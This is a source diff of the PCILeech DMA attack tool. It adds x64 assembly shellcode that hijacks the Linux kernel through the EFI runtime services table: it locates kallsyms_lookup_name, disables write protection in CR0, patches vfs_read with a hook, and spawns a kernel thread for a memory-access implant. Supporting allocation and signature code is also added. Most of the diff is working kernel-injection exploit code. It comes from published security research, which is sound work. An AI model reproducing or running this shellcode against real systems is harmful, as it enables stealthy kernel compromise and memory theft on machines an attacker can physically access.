+484,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz) } } -VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature) +VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature) { DWORD dwBase2M = (paSzKallsyms & ~0x1fffff) - ((vaSzKallsyms & ~0x1fffff) - (vaFnKallsyms & ~0x1fffff)); // symbol name base is not same as fn base memset(pSignature, 0, sizeof(SIGNATURE)); @@ -451,10 +533,15 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature) { memset(pSignature, 0, sizeof(SIGNATURE)); - memcpy(pSignature->chunk[3].pb, WINX64_STAGE2_HAL_BIN, sizeof(WINX64_STAGE2_HAL_BIN)); - memcpy(pSignature->chunk[4].pb, WINX64_STAGE3_BIN, sizeof(WINX64_STAGE3_BIN)); - pSignature->chunk[3].cb = sizeof(WINX64_STAGE2_HAL_BIN); - pSignature->chunk[4].cb = sizeof(WINX64_STAGE3_BIN); + Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE2_HAL", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_WINX64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); +} + +VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature) +{ + memset(pSignature, 0, sizeof(SIGNATURE)); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE2_EFI", pSignature->chunk[3].pb, 4096, &pSignature->chunk[3].cb); + Util_ParseHexFileBuiltin("DEFAULT_LINUX_X64_STAGE3", pSignature->chunk[4].pb, 4096, &pSignature->chunk[4].cb); } VOID Util_CreateSignatureSearchAll(_In_ PBYTE pb, _In_ DWORD cb, _Out_ PSIGNATURE pSignature) diff --git a/pcileech/util.h b/pcileech/util.h index a1d6a70..6505470 100644 --- a/pcileech/util.h +++ b/pcileech/util.h @@ -1,6 +1,6 @@ // util.h : definitions of various utility functions. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __UTIL_H__ @@ -34,6 +34,19 @@ BOOL Util_PageTable_ReadPTE(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _I */ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PQWORD pqwCR3, _In_ PSIGNATUREPTE pPTEs, _In_ QWORD cPTEs, _Out_ PQWORD pqwSignatureBase); +/* +* Search the page tables for a given physical address. The first occurrence for +* this address will be returned. +* -- pCfg +* -- pDeviceData +* -- qwCR3 = the physical address of PML4. +* -- qwAddrPhys = the physical address to search for. +* -- pqwAddrVirt = ptr to receive virtual address. +* -- pqwPTE = ptr to receive value of PTE +* -- return +*/ +BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE); + /* * Load KMD and Unlock signatures. * -- szSignatureName @@ -103,6 +116,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz); /* * "Create" a static signature for Linux given the supplied parameters. The * function formats the paramerters and put them into the supplied pSignature. +* This will only work for kernels prior to 4.8. * -- paBase = memory physical offset to paSzKallsyms * -- paSzKallsyms = physical offset to 'kallsyms_looup_name' text string. * -- vaSzKallsyms = virtual address of 'kallsyms_looup_name' text string. @@ -110,7 +124,7 @@ QWORD Util_GetNumeric(_In_ LPSTR sz); * -- vaFnHijack = virtual address of the function to hijack. * -- pSignature = ptr to signature struct to place the result in. */ -VOID Util_CreateSignatureLinuxGeneric(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature); +VOID Util_CreateSignatureLinuxGenericPre48(_In_ DWORD paBase, _In_ DWORD paSzKallsyms, _In_ QWORD vaSzKallsyms, _In_ QWORD vaFnKallsyms, _In_ QWORD vaFnHijack, _Out_ PSIGNATURE pSignature); /* * "Create" a static signature for FreeBSD given the supplied parameters. The @@ -139,6 +153,13 @@ VOID Util_CreateSignatureMacOSGeneric(_In_ DWORD paKernelBase, _In_ DWORD paFunc */ VOID Util_CreateSignatureWindowsHalGeneric(_Out_ PSIGNATURE pSignature); +/* +* Load the stage2 and stage3 code for the EFI Runtime Sertives hijack technique +* into the supplied signature. +* -- pSignature = ptr to signature struct to place the result in. +*/ +VOID Util_CreateSignatureLinuxEfiRuntimeServices(_Out_ PSIGNATURE pSignature); + /* * Create a search signature that searches all memory for the signature given in * the supplied pb and cb parameters. diff --git a/pcileech_files/pcileech.exe b/pcileech_files/pcileech.exe index 6d4e6c0..2058bef 100644 Binary files a/pcileech_files/pcileech.exe and b/pcileech_files/pcileech.exe differ diff --git a/pcileech_kmd/linux/pcileech_kmd.c b/pcileech_kmd/linux/pcileech_kmd.c index af69891..aa77e80 100644 --- a/pcileech_kmd/linux/pcileech_kmd.c +++ b/pcileech_kmd/linux/pcileech_kmd.c @@ -38,7 +38,7 @@ const char LINUX_X64_STAGE3_PRE_BIN[] = { static int __init pcileech_init(void) { uint64_t pg_pa, pg_va, h_thread; - struct page *pg = alloc_pages_current(0x14, 1); + struct page *pg = alloc_pages_current(0x14, 2); if(!pg) { printk("pcileech: error allocating memory\n"); return 1; diff --git a/pcileech_shellcode/lx64_stage2.asm b/pcileech_shellcode/lx64_stage2.asm index d3a3229..b9b6389 100644 --- a/pcileech_shellcode/lx64_stage2.asm +++ b/pcileech_shellcode/lx64_stage2.asm @@ -101,7 +101,7 @@ setup PROC TEST rax, rax JZ error MOV rdi, 14h - MOV rsi, 1h + MOV rsi, 2h CALL rax TEST rax, rax JZ error diff --git a/pcileech_shellcode/lx64_stage2_efi.asm b/pcileech_shellcode/lx64_stage2_efi.asm new file mode 100644 index 0000000..af10223 --- /dev/null +++ b/pcileech_shellcode/lx64_stage2_efi.asm @@ -0,0 +1,533 @@ +; lx64_stage2_efi.asm : assembly to receive execution from hooked efi runtime services dispatch table. +; Compatible with Linux x64. +; +; (c) Ulf Frisk, 2017 +; Author: Ulf Frisk, pcileech@frizk.net +; + +; +; the efi runtime services hook will access the linux kernel proper and set up +; a hook in the 'vfs_read' function. The 'vfs_read' function gets called often. +; A harmless kernel Oops will be shown in the process when setting a unaligned +; memory page to executable. +; + +.CODE + +data_reserved_future_use dq 0,0,0,0 ; [000h offset, 20h size] +data_phys_addr_alloc dd 0 ; [020h offset, 04h size] +data_filler_0 dd 0 ; [024h offset, 04h size] +data_addr_runtserv dq 0 ; [028h offset, 08h size] +data_runtserv_table_fn dq 0,0,0,0,0,0,0,0,0,0,0,0,0,0 ; [030h offset, 70h size] +data_debug0 dq 0 ; [0a0h offset, 08h size] +data_debug1 dq 0 ; [0a8h offset, 08h size] +data_debug2 dq 0 ; [0b0h offset, 08h size] +data_debug3 dq 0 ; [0b8h offset, 08h size] +data_debug4 dq 0 ; [0c0h offset, 08h size] +addr_kthread_create_on_node dq 0 ; [0c8h offset, 08h size] +addr_wake_up_process dq 0 ; [0d0h offset, 08h size] +addr_page_offset_base dq 0 ; [0d8h offset, 08h size] +addr_alloc_pages_current dq 0 ; [0e0h offset, 08h size] +addr_set_memory_x dq 0 ; [0e8h offset, 08h size] +addr_vfs_read dq 0 ; [0f0h offset, 08h size] +addr_kallsyms_lookup_name dq 0 ; [0f8h offset, 08h size] + +; ---------------------------------------------------- +; ENTRY POINT: +; 100h offset +; UEFI x64 calling convention is assumed upon entry. +; volatile :: rax, rcx, rdx, r8, r9, r10, r11 +; arguments in :: rcx, rdx, r8, r9 +; ---------------------------------------------------- +main PROC + ; ---------------------------------------------------- + ; 1: LANDING POINT FOR HOOKED EFI RUNTIME SERVICES (RUNTSERV) TABLE. + ; (depending on which of the _14_ functions are hooked execution + ; will land on different position. + ; ---------------------------------------------------- + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + PUSH 0 + ; ---------------------------------------------------- + ; 2: FETCH CALLER AND CALLEE ADDRESSES. + ; ---------------------------------------------------- + MOV r11, 14 + loop_count: + DEC r11 + POP rax + TEST rax, rax + JZ loop_count + PUSH rax + MOV r10, rax + LEA rax, data_runtserv_table_fn + PUSH [rax + 8*r11 + 8] + ; ---------------------------------------------------- + ; 3: SAVE ORIGINAL PARAMETERS. + ; ---------------------------------------------------- + PUSH rdi + PUSH rsi + PUSH rcx + PUSH rdx + PUSH r8 + PUSH r9 + PUSH rbx + PUSH rbp + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + ; ---------------------------------------------------- + ; 4: RESTORE ORIGNAL RUNTSERV TABLE. + ; ---------------------------------------------------- + MOV rcx, 14 + loop_restore: + DEC rcx + LEA rax, data_runtserv_table_fn + MOV rdx, [rax + 8*rcx] + MOV rax, [data_addr_runtserv] + MOV [rax + 18h + 8*rcx], rdx + TEST rcx, rcx + JNZ loop_restore + ; ---------------------------------------------------- + ; 5: FIND SYMBOLS AND CALL SETUP CODE. + ; ---------------------------------------------------- + MOV rcx, r10 + CALL find_kallsyms + CALL find_symbols + CALL setup_uefi_rt + ; ---------------------------------------------------- + ; 6: RESTORE AND JMP TO ORIGINAL INTENDED TARGET. + ; ---------------------------------------------------- + POP r15 + POP r14 + POP r13 + POP r12 + POP rbp + POP rbx + POP r9 + POP r8 + POP rdx + POP rcx + POP rsi + POP rdi + POP rax + MOV [data_debug1], rax + JMP rax +main ENDP + +; ---------------------------------------------------- +; Locate address of kallsyms_lookup_name. +; rcx -> address in kernel +; volatile :: rax, r13, r14, r15 +; ---------------------------------------------------- +find_kallsyms PROC + ; ---------------------------------------------------- + ; 1: Search for string: 'kallsyms_lookup_name'. + ; ---------------------------------------------------- + LEA rax, str_kallsyms + MOV r13, [rax] + MOV r14, [rax+8] + MOV r15, [rax+14] + kallsyms_find_str_loop: + INC rcx + MOV rax, [rcx] + CMP rax, r13 + JNE kallsyms_find_str_loop + MOV rax, [rcx+8] + CMP rax, r14 + JNE kallsyms_find_str_loop + MOV rax, [rcx+16-2] + CMP rax, r15 + JNE kallsyms_find_str_loop + INC rcx + ; ---------------------------------------------------- + ; 2: Search for address to string previously found. + ; ---------------------------------------------------- + ; rcx == address of str kallsyms_lookup_name -> r15 + MOV r15, rcx + SHR rcx, 3 + SHL rcx, 3 + kallsyms_find_addr_loop: + SUB rcx, 8 + MOV rax, [rcx] + CMP rax, r15 + JNZ kallsyms_find_addr_loop + ; ---------------------------------------------------- + ; 3: Return fn address of kallsyms_lookup_name. + ; ---------------------------------------------------- + MOV rax, [rcx-08h] + MOV [addr_kallsyms_lookup_name], rax + RET +find_kallsyms ENDP + +; ---------------------------------------------------- +; Locate required symbols (kallsyms_lookup_name must be known). +; volatile :: rax, rdi +; ---------------------------------------------------- +find_symbols PROC + PUSH r15 + MOV r15, [addr_kallsyms_lookup_name] + ; addr_vfs_read + LEA rdi, str_vfs_read + CALL r15 + MOV [addr_vfs_read], rax + ; addr_set_memory_x + LEA rdi, str_set_memory_x + CALL r15 + MOV [addr_set_memory_x], rax + ; addr_alloc_pages_current + LEA rdi, str_alloc_pages_current + CALL r15 + MOV [addr_alloc_pages_current], rax + ; addr_page_offset_base + LEA rdi, str_page_offset_base + CALL r15 + MOV [addr_page_offset_base], rax + ; addr_kthread_create_on_node + LEA rdi, str_kthread_create_on_node + CALL r15 + MOV [addr_kthread_create_on_node], rax + ; addr_wake_up_process + LEA rdi, str_wake_up_process + CALL r15 + MOV [addr_wake_up_process], rax + POP r15 + RET +find_symbols ENDP + +; ---------------------------------------------------- +; Setup stage2 area and hook kernel proper. +; r14 -> address of kallsyms_lookup_name +; r11 :: address of vfs_read (virt addr/hook fn) +; r12 :: alloc pg (virt addr) +; r13 :: alloc pg (phys addr) +; ---------------------------------------------------- +setup_uefi_rt PROC + ; ---------------------------------------------------- + ; 1: ALLOC 1 PAGE FOR CODE TO BE CALLED BY KERNEL. + ; ---------------------------------------------------- + MOV rdi, 14h + MOV rsi, 0h + CALL [addr_alloc_pages_current] + ; ---------------------------------------------------- + ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGE. + ; ---------------------------------------------------- + MOV rdi, rax + CALL m_page_to_phys + MOV r13, rax + MOV rdi, r13 + CALL m_phys_to_virt + MOV r12, rax + MOV [data_debug1], r13 ; debug + MOV [data_debug2], r12 ; debug + ; ---------------------------------------------------- + ; 3: PATCH HOOK SHELLCODE. + ; ---------------------------------------------------- + ; patch shellcode absolute virtual location + LEA rax, hook_shellcode + 06h + LEA rdx, hook_kernel_fn_landing_point + AND rdx, 0fffh + ADD rdx, r12 + MOV [rax], rdx + ; patch relative addr to set_memory_x + MOV rdx, [addr_vfs_read] ; addr from + ADD rdx, 19h + MOV rcx, [addr_set_memory_x] ; addr to + SUB ecx, edx ; addr rel (used in call) + LEA rax, hook_shellcode + 15h + MOV [rax], ecx + ; ---------------------------------------------------- + ; 4: SAVE ORIGINAL BYTES OF HOOK FUNCTION. + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, data_hook_original_32 + hook_fn_copy_loop: + MOV rax, [r8 + rcx] + MOV [r9 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_copy_loop + ; ---------------------------------------------------- + ; 5: COPY PAGE TO ALLOC'ED LOCATION. + ; ---------------------------------------------------- + XOR rcx, rcx + LEA r8, main + SHR r8, 12 + SHL r8, 12 + page_copy_loop: + MOV rax, [r8 + rcx] + MOV [r12 + rcx], rax + ADD rcx, 8 + CMP rcx, 1000h + JNE page_copy_loop + ; ---------------------------------------------------- + ; 5: ENABLE SUPERVISOR WRITE. + ; ---------------------------------------------------- + MOV rax, cr0 + MOV r15, rax + AND eax, 0fffeffffh + MOV cr0, rax + ; ---------------------------------------------------- + ; 6: PATCH KERNEL 'vfs_read'. + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, hook_shellcode + hook_fn_patch_loop: + MOV rax, [r9 + rcx] + MOV [r8 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_patch_loop + ; ---------------------------------------------------- + ; 7: CLEAN UP AND EXIT. + ; ---------------------------------------------------- + MOV cr0, r15 + MOV [data_phys_addr_alloc], r13d + RET +setup_uefi_rt ENDP + +; ------------------------------------------------------------------ +; Retrieve the PAGE_OFFSET_BASE +; r14 -> kallsyms_lookup_name +; rax <- value of PAGE_OFFSET_BASE +; ------------------------------------------------------------------ +m_page_offset_base PROC + MOV rax, [addr_page_offset_base] + TEST rax, rax + JZ kaslr_pg_disable + MOV rax, [rax] + RET + kaslr_pg_disable: + MOV rax, 0ffff880000000000h + RET +m_page_offset_base ENDP + +m_phys_to_virt PROC + PUSH rdi + CALL m_page_offset_base + POP rdi + ADD rax, rdi + RET +m_phys_to_virt ENDP + +m_page_to_phys PROC + MOV rax, 0ffffea0000000000h + SUB rdi, rax + SHR rdi, 7 ; PFN + SHL rdi, 12 + MOV rax, rdi + RET +m_page_to_phys ENDP + +str_kallsyms db 0, 'kallsyms_lookup_name', 0 +str_kthread_create_on_node db 'kthread_create_on_node', 0 +str_alloc_pages_current db 'alloc_pages_current', 0 +str_page_offset_base db 'page_offset_base', 0 +str_vfs_read db 'vfs_read', 0 +str_set_memory_x db 'set_memory_x', 0 +str_wake_up_process db 'wake_up_process', 0 +str_pcileech db 'pcileech', 0 +data_cmpxchg_flag db 0 +data_hook_original_32 dq 0, 0, 0, 0 + +; ------------------------------------------------------------------ +; Hook shellcode (26 bytes) to replace initial bytes of hooked +; function (vfs_read). First call set_memory_x to make target +; executable and then call into target. +; ------------------------------------------------------------------ +hook_shellcode PROC + ; push 'vfs_read' 4 args to stack. + PUSH rdi ; 00 offset, 01 size + PUSH rsi ; 01 offset, 01 size + PUSH rdx ; 02 offset, 01 size + PUSH rcx ; 03 offset, 01 size + MOV rdi, 8888888888888888h ; 04 offset, 0a size, 06 data_offset + PUSH rdi ; 0e offset, 01 size (RET address for returning set_memory_x) + MOV esi, 1 ; 0f offset, 05 size + JMP label_fake + 77777777h ; 14 offset, 05 size, 15 data_offset (call to set_memory_x) + label_fake: +hook_shellcode ENDP + +; ----------------------------------------------------------------------------- +; CODE EXECUTED BY 'vfs_read' KERNEL HOOK BELOW +; ----------------------------------------------------------------------------- +hook_kernel_fn_landing_point PROC + ; ---------------------------------------------------- + ; 1: SAVE ORIGINAL PARAMETERS + ; ---------------------------------------------------- + ;PUSH rdi ; already pushed by hook shellcode + ;PUSH rsi ; already pushed by hook shellcode + ;PUSH rdx ; already pushed by hook shellcode + ;PUSH rcx ; already pushed by hook shellcode + PUSH r8 + PUSH r9 + PUSH rbx + PUSH rbp + PUSH r12 + PUSH r13 + PUSH r14 + PUSH r15 + ; ---------------------------------------------------- + ; 2: ENABLE SUPERVISOR WRITE + ; ---------------------------------------------------- + MOV rdx, cr0 + MOV rax, rdx + AND eax, 0fffeffffh + MOV cr0, rax + ; ---------------------------------------------------- + ; 3: RESTORE ORIGNAL (32 bytes) & SUPERVISOR WRITE + ; ---------------------------------------------------- + XOR rcx, rcx + MOV r8, [addr_vfs_read] + LEA r9, data_hook_original_32 + hook_fn_copy_loop: + MOV rax, [r9 + rcx] + MOV [r8 + rcx], rax + ADD rcx, 8 + CMP rcx, 32 + JNE hook_fn_copy_loop + MOV cr0, rdx + ; ---------------------------------------------------- + ; 4: ENSURE ATOMICITY IN THREADED ENVIRONMENTS + ; ---------------------------------------------------- + MOV al, 00h + MOV dl, 01h + LEA rcx, data_cmpxchg_flag + LOCK CMPXCHG [rcx], dl + JNE skipcall + ; ---------------------------------------------------- + ; 5: CALL SETUP STAGE3 CODE + ; ---------------------------------------------------- + CALL setup_stage3 + ; ---------------------------------------------------- + ; 6: RESTORE AND JMP BACK TO UNHOOKED FUNCTION + ; ---------------------------------------------------- + skipcall: + POP r15 + POP r14 + POP r13 + POP r12 + POP rbp + POP rbx + POP r9 + POP r8 + POP rcx + POP rdx + POP rsi + POP rdi + JMP [addr_vfs_read] +hook_kernel_fn_landing_point ENDP + +; ---------------------------------------------------- +; This code compiles into 53 bytes. This is copied by +; stage3 area by the setup function. +; Linux cannot use the simpler windows stage3 pre code +; since the thread will get stuck without a sleep. +; ---------------------------------------------------- +lx64_stage3_pre PROC + label_main_base: + JMP label_main_loop + str_msleep db 'msleep', 0 + label_main_loop: + LEA rdi, str_msleep + LEA rax, label_main_base-1000h+10h ; KMDDATA.qwAddrKallsymsLookupName + MOV rax, [rax] + CALL rax + MOV rdi, 100 + CALL rax + LEA rax, label_main_base-8h + MOV rax, [rax] + CMP rax, 0 + JZ label_main_loop +lx64_stage3_pre ENDP + +; ---------------------------------------------------- +; clear_8k +; clear 8192 bytes of memory +; rdi -> starting address +; ---------------------------------------------------- +clear_8k PROC + XOR rax, rax + MOV ecx, 1024 + CLD + REP STOSQ [rdi] + RET +clear_8k ENDP + +setup_stage3 PROC + ; ---------------------------------------------------- + ; 1: ALLOC PAGES. + ; ---------------------------------------------------- + MOV rdi, 14h + MOV rsi, 2h + CALL [addr_alloc_pages_current] + ; ---------------------------------------------------- + ; 2: RETRIEVE PHYS/VIRT ADDRESSES OF PAGES. + ; ---------------------------------------------------- + MOV rdi, rax + CALL m_page_to_phys + MOV r13, rax + MOV rdi, r13 + CALL m_phys_to_virt + MOV r12, rax + ; ---------------------------------------------------- + ; 3: SET CODE PAGE TO EXECUTABLE. + ; ---------------------------------------------------- + MOV rdi, r12 + MOV rsi, 2 + CALL [addr_set_memory_x] + ; ---------------------------------------------------- + ; 4: CLEAR AND COPY STAGE3 PRE BINARY TO AREA. + ; ---------------------------------------------------- + MOV rdi, r12 + CALL clear_8k + MOV rdi, 64 + copy_stage3_pre_loop: + SUB rdi, 8 + LEA rax, lx64_stage3_pre + MOV rax, [rax+rdi] + MOV rsi, r12 + ADD rsi, 1000h + ADD rsi, rdi + MOV [rsi], rax + TEST rdi, rdi + JNZ copy_stage3_pre_loop + ; ---------------------------------------------------- + ; 5: CREATE THREAD & SET UP DATA AREA. + ; ---------------------------------------------------- + MOV rdi, r12 + ADD rdi, 01000h + XOR rsi, rsi + XOR rdx, rdx + SUB rdx, 1 + LEA rcx, str_pcileech + CALL [addr_kthread_create_on_node] + MOV [r12+58h], rax ; KMDDATA.ReservedKMD + MOV rax, [addr_kallsyms_lookup_name] + MOV [r12+10h], rax ; KMDDATA.AddrKallsymsLookupName + ; ---------------------------------------------------- + ; 6: START THREAD. + ; ---------------------------------------------------- + MOV rdi, [r12+58h] + CALL [addr_wake_up_process] + ; ---------------------------------------------------- + ; 7: FINISH! + ; ---------------------------------------------------- + MOV [data_phys_addr_alloc], r13d + RET +setup_stage3 ENDP + +END diff --git a/pcileech_shellcode/lx64_stage3_c.c b/pcileech_shellcode/lx64_stage3_c.c index b4b8aef..d1e2eec 100644 --- a/pcileech_shellcode/lx64_stage3_c.c +++ b/pcileech_shellcode/lx64_stage3_c.c @@ -100,6 +100,58 @@ typedef struct tdKMDDATA { #define KMD_CMD_READ_VA 6 #define KMD_CMD_WRITE_VA 7 +/* +* Tries to allocate 4MB contigious memory. If not possible 2MB will be tried. +* If not possible -> fail. +* -- pk +* -- fRetry = should be set to TRUE on entry to enable retry on fail. +* -- return = ptr to struct page if successful. +*/ +QWORD AllocateMemoryDma(PKMDDATA pk, BOOL fRetry) +{ + QWORD i, pStructPages[3], pa[2]; + for(i = 0; i < 2; i++) { + pStructPages[i] = SysVCall(pk->fn.alloc_pages_current, 0x14, 10); + pa[i] = pStructPages[i] ? m_page_to_phys(pStructPages[i]) : 0; + } + // success + if(pa[0] == pa[1] + 0x200000) { + pk->DMASizeBuffer = 0x400000; + pk->DMAAddrPhysical = pa[1]; + return pStructPages[1]; + } + // complete fail + if(!pa[0] && !pa[1]) { + return 0; + } + // if 2nd attempt - fail if not complete success + if(!fRetry) { + for(i = 0; i < 2; i++) { + if(pStructPages[i]) { + SysVCall(pk->fn.__free_pages, pStructPages[i], 10); + } + } + return 0; + } + // retry for possible complete success + pStructPages[2] = AllocateMemoryDma(pk, FALSE); + if(pStructPages[2]) { + for(i = 0; i < 2; i++) { + if(pStructPages[i]) { + SysVCall(pk->fn.__free_pages, pStructPages[i], 10); + } + } + return pStructPages[2]; + } + // partial success + if(pStructPages[1]) { + SysVCall(pk->fn.__free_pages, pStructPages[1], 10); + } + pk->DMASizeBuffer = 0x200000; + pk->DMAAddrPhysical = pa[0]; + return pStructPages[0]; +} + // status: // 1: ready for command // 2: processing @@ -124,16 +176,13 @@ VOID stage3_c_EntryPoint(PKMDDATA pk) pk->_status = 0xf0000001; return; } - // 1: set up mem out dma area 4MB in lower 4GB (linux does not support std 16MB) - pStructPages = SysVCall(pk->fn.alloc_pages_current, 0x14, 10); - if(!pStructPages) { + // 1: allocate memory + if(0 == (pStructPages = AllocateMemoryDma(pk, TRUE))) { pk->_status = 0xf0000002; return; } - pk->DMAAddrPhysical = m_page_to_phys(pStructPages); pk->DMAAddrVirtual = m_phys_to_virt(pk->AddrKallsymsLookupName, pk->DMAAddrPhysical); - pk->DMASizeBuffer = 0x400000; - SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, 1024); + SysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096); // 2: main dump loop SysVCall(pk->fn.do_gettimeofday, &timeLast); while(TRUE) { diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj b/pcileech_shellcode/pcileech_shellcode.vcxproj index 79c7f8c..4b4b6d3 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj @@ -81,6 +81,7 @@ + diff --git a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters index 6d5b41e..49f928a 100644 --- a/pcileech_shellcode/pcileech_shellcode.vcxproj.filters +++ b/pcileech_shellcode/pcileech_shellcode.vcxproj.filters @@ -170,6 +170,9 @@ Source Files + + Source Files\kmd_core + diff --git a/readme.md b/readme.md index 80689e4..6fee07b 100644 --- a/readme.md +++ b/readme.md @@ -147,3 +147,7 @@ v1.3 * implant: stability improvements for Win8+ [wx64_pscreate, wx64_pscmd, wx64_pscmd_user]. * other: load kmd by compiling and inserting .ko on linux [ pcileech_kmd/linux ]. * other: firmware flash support in Windows. + +v1.4 +* core: linux 4.8 efi support [-kmd linux_x64_efi] [http://blog.frizk.net/2017/01/attacking-uefi-and-linux.html]. +* other: linux stability fixes.